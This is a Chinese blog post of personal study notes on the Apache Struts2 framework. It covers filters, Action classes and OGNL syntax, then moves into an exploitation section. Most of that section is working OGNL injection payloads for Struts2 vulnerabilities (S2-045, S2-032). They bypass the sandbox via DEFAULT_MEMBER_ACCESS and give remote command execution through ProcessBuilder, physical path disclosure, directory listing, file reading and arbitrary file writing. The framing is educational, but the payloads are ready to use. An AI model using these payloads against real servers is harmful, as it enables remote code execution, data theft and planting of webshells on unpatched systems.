Struts2 笔记

好久没管博客了,怕这个博客也废了,传个以前写的笔记上来。当初写这个原因也很简单,每次struts2的漏洞出来了,连大佬们的POC都看不懂为啥要这样写,即使有了POC也不懂得咋去变通使用,所以就去学习了一发,笔记做的比较简略了。最近的考试都完了,虽然还没毕业,但是感觉整个大学都结束了一般。

struts2 框架

web.xml为整个项目的入口。
添加struts2的过滤器,

1
2
3
4
5
6
7
8
9
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

更新:
在 Struts 2.1.3 之后用的过滤器为 StrutsPrepareAndExecuteFilter 或者 StrutsPrepareFilter + StrutsExecuteFilter,前者做一些准备工作,处理请求(比如普通的请求还是文件上传之类),后者便是执行 Action。

filter-mapping中还有个dispatcher标签,值有REQUEST(默认值),INCLUDE,FORWARD,ERROR

filter必须要实现javax.servlet.Filter接口

过滤器中的三个方法:

  • void init(FilterConfig config) 用于完成Filter的初始化
  • void destroy() 用于Filter销毁前完成某些资源的回收
  • void doFilter(ServletRequest request, ServletResponse respone, FilterChain chain) 完成过滤功能,对每个请求及响应进行拦截和处理

在struts.xml 中定义相应的action应该做什么

action类的编写

变量要具有setter和getter方法
一个不带参数的execute()方法

ServletActionContext是直接访问Servlet API的工具类

ActionContext表示的是Action的上下文环境,它封装了一个Action运行所需要的环境,有value_stack、session、application、parameters、locale

提交一个请求时,会为这个请求创建一个和web容器交互的ActionContext,与此同时会创建ValueStack,并置于ActionContext之中。而实例化Action之后,就会将这个action对象压入ValueStack中

OGNL

(对象图导航语言),是应用于Java中的一个开源的表达式语言(Expression Language),它被集成在Struts2等框架中,作用是对数据进行访问,它拥有类型转换、访问对象方法、操作集合对象等功能。

#访问非根对象#application.username(struts中值栈为根对象),过滤集合books.{?#this.price>35},构造Map,#{‘foo1’:’bar1’, ‘foo2’:’bar2’}

%的作用是在标签的属性值被理解为字符串类型时,告诉执行环境%{}里的是OGNL表达式

$在国际化资源文件中或是Struts2配置文件中引用OGNL表达式

静态的方法调用和值访问,表达式的格式为@[类全名(包括包路径)]@[方法名|值名]

EXP

struts2在2.3.14.1版本之后便设置#_memberAccess[“allowStaticMethodAccess”]为不可修改,而要调用java静态方法,必须要设置allowStaticMethodAccess为true才可以

沙盒绕过,通过ognl表达式静态调用获取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS属性,并将获取的结果覆盖_memberAccess属性,这样就可以绕过SecurityMemberAccess的限制

S02-045

1
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

1
(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=#dm).(#cmd='whoami').(#cmds={'cmd.exe','/c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())

执行命令

1
#nike='multipart/form-data',#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#cmd='whoami',#cmds={'cmd.exe','/c',#cmd},#p=new java.lang.ProcessBuilder(#cmds),#p.redirectErrorStream(true),#process=#p.start(),#ros=@org.apache.struts2.ServletActionContext@getResponse().getOutputStream(),@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros),#ros.flush()

物理路径

1
#nike='multipart/form-data',#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#r=@org.apache.struts2.ServletActionContext@getRequest(),#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#o.println(#r.getRealPath('/')),#o.close()

列目录

1
#nike='multipart/form-data',#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#l=new java.io.File('d:/Tomcat 7.0/webapps/S2-032/').list(),#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#o.println(#l[0]),#o.close()

读文件

1
#nike='multipart/form-data',#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#f=new java.io.FileInputStream('d:/Tomcat 7.0/webapps/S2-032/c.jsp'),#b=new byte[999999],#s=new java.lang.String(#b,0,#f.read(#b)),#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#o.println(#s),#o.close()

写文件

1
#nike='multipart/form-data',#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#r=@org.apache.struts2.ServletActionContext@getRequest(),#f=new java.io.File('d:/Tomcat 7.0/webapps/S2-032/test.jsp'),@org.apache.commons.io.IOUtils@copy(#r.getInputStream(),new java.io.FileOutputStream(#f))